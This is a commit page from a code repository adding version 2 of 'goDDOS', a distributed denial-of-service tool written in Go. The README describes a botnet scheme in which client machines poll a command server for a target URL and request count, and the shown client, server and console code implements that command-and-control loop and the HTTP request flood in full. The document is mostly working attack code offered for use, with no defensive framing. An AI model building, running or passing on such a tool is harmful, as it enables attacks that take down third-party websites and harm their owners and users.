Browse Source

implemented v2

master
arnaucode 6 years ago
parent
commit
5a0b9b062a
6 changed files with 177 additions and 0 deletions
  1. +24
    -0
      README.md
  2. +0
    -0
      v1/client/main.go
  3. +0
    -0
      v1/server/main.go
  4. +61
    -0
      v2/client/main.go
  5. +39
    -0
      v2/server/cli.go
  6. +53
    -0
      v2/server/main.go

+ 24
- 0
README.md

@ -5,9 +5,33 @@ https://en.wikipedia.org/wiki/Denial-of-service_attack
![Alt text](https://raw.githubusercontent.com/arnaucode/goDDOS/master/concept.png "concept") ![Alt text](https://raw.githubusercontent.com/arnaucode/goDDOS/master/concept.png "concept")
### v1
This version works as:
- the client every X time try to connect to the server
- when the server gets a new connection from a client, stores that connection in memory
- when a new order is written in the cmd of the server, sends that order to all the stored clients
- each client receive the order and starts the attack
example command line on the server: example command line on the server:
``` ```
ddos http://website.com 10 ddos http://website.com 10
ddos [website] [num of gets for each client] ddos [website] [num of gets for each client]
``` ```
### v2
This version works as:
- the server have an endpoint where is placed the current order
- each client every X time, performs a GET to the endpoint of the server, to see if there is any new order
- when a new order is written in the cmd of the server, it will return that order in the server endpoint
- then, the clients goes to the endpoint to get the order
- once the client have the order, starts the attack
example command line on the server:
```
http://website.com 10
[website] [num of gets for each client]
```

client/main.go → v1/client/main.go


server/main.go → v1/server/main.go


+ 61
- 0
v2/client/main.go

@ -0,0 +1,61 @@
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"strconv"
"time"
"github.com/fatih/color"
)
const SERVER = "127.0.0.1:3000"
const sleeptime = 3000
type Order struct {
Target string `json:"target"`
Count int `json:"count"`
}
var order Order
/*
note: all the fmt.Println, color.Green/Blue/Red... and log.Panic, are just to run in development
*/
func runDos(target string, count int) {
for i := 0; i < count; i++ {
_, err := http.Get(target)
if err != nil {
fmt.Println(err)
}
color.Blue("request " + strconv.Itoa(i) + "/" + strconv.Itoa(count) + " to " + target)
}
fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
color.Green(" - all requests finalized")
}
func main() {
for {
fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
fmt.Println(" - getting order from server")
res, err := http.Get("http://" + SERVER)
if err != nil {
fmt.Println("server not alive")
time.Sleep(sleeptime * time.Millisecond)
continue
}
decoder := json.NewDecoder(res.Body)
err = decoder.Decode(&order)
if err != nil {
log.Panic(err)
}
if order.Target != "" {
fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
color.Yellow("running Dos")
runDos(order.Target, order.Count)
}
time.Sleep(sleeptime * time.Millisecond)
}
}

+ 39
- 0
v2/server/cli.go

@ -0,0 +1,39 @@
package main
import (
"bufio"
"fmt"
"os"
"strconv"
"strings"
)
//validURL checks if an url is a valid url
func validURL(url string) bool {
return true
}
func consoleInput() { //example: ddos http://web.com 4
newcommand := bufio.NewReader(os.Stdin)
for {
fmt.Print("enter new order ([target] [count]): ")
text, _ := newcommand.ReadString('\n')
text = strings.TrimSpace(text)
if text != "" {
fmt.Println("console input command: " + text)
t := strings.Split(text, " ")
count, err := strconv.Atoi(t[1])
if err != nil {
fmt.Println("[error]: count parameter must be an integer")
continue
}
if t[0] == "null" || t[0] == "none" {
t[0] = ""
}
if validURL(t[0]); count >= 0 {
currentOrder.Target = t[0]
currentOrder.Count = count
fmt.Println(currentOrder)
}
}
}
}

+ 53
- 0
v2/server/main.go

@ -0,0 +1,53 @@
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"github.com/fatih/color"
)
const PORT = "3000"
type Order struct {
Target string `json:"target"`
Count int `json:"count"`
}
var currentOrder Order
func getOrder(w http.ResponseWriter, r *http.Request) {
jsonr, err := json.Marshal(currentOrder)
if err != nil {
log.Panic(err)
}
fmt.Fprintln(w, string(jsonr))
}
func handleRequests() {
http.HandleFunc("/", getOrder)
log.Fatal(http.ListenAndServe(":"+PORT, nil))
}
func main() {
asciiTitle := `
_____ _____ ____ _____
| __ \| __ \ / __ \ / ____|
__ _ ___ | | | | | | | | | | (___
/ _' |/ _ \| | | | | | | | | |\___ \
| (_| | (_) | |__| | |__| | |__| |____) |
\__, |\___/|_____/|_____/ \____/|_____/
__/ |
|___/ v.2
`
color.Blue(asciiTitle)
fmt.Println("server running at port " + PORT)
go consoleInput()
handleRequests()
}

Loading…
Cancel
Save